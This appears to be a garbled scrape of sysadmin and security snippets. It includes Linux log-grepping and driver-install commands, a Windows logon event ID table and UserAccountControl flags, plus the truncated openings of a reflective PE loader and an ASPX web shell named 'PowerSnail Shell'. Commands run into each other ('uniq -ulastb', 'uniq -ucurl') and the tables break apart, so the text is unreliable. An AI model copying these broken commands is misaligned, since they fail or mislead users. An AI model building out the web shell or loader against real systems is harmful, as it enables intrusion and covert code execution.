grep -Eo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' /var/log/secure | sort| uniq -ulastb | awk '{print $1}' | sort | uniq -ucurl -sSL -O https://www.synaptics.com/sites/default/files/Ubuntu/pool/stable/main/all/synaptics-repository-keyring.deb dpkg -i synaptics-repository-keyring.deb apt install displaylink-driver
cat <<EOF | sudo tee /etc/modprobe.d/blacklist-nouveau.conf blacklist nouveau options nouveau modeset=0 EOF
A reference for triaging security alerts
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx
| Event ID | Description |
|---|---|
| 4624 | An account was successfully logged on |
| 4625 | An account failed to log on |
| # Reflectively load a PE file | |
| $code = @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.IO; | |
| public class PELoader | |
| { | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern IntPtr GetCurrentProcess(); |
| Property Flag | Value in Hexadecimal | Value in Decimal | Brief Description |
|---|---|---|---|
| SCRIPT | 0x0001 | 1 | The logon script will be run. |
| ACCOUNTDISABLE | 0x0002 | 2 | The user account is disabled. |
| HOMEDIR_REQUIRED | 0x0008 | 8 | The home folder is required. |
| LOCKOUT | 0x0010 | 16 |
| <%@ Page Language="C#" AutoEventWireup="true" %> | |
| <%@ Import Namespace="System.Diagnostics" %> | |
| <%@ Import Namespace="System.IO" %> | |
| <!DOCTYPE html> | |
| <html xmlns="http://www.w3.org/1999/xhtml"> | |
| <head runat="server"> | |
| <title>PowerSnail Shell</title> | |
| <style> | |
| .output { | |
| font-family: Consolas, "Courier New", monospace; |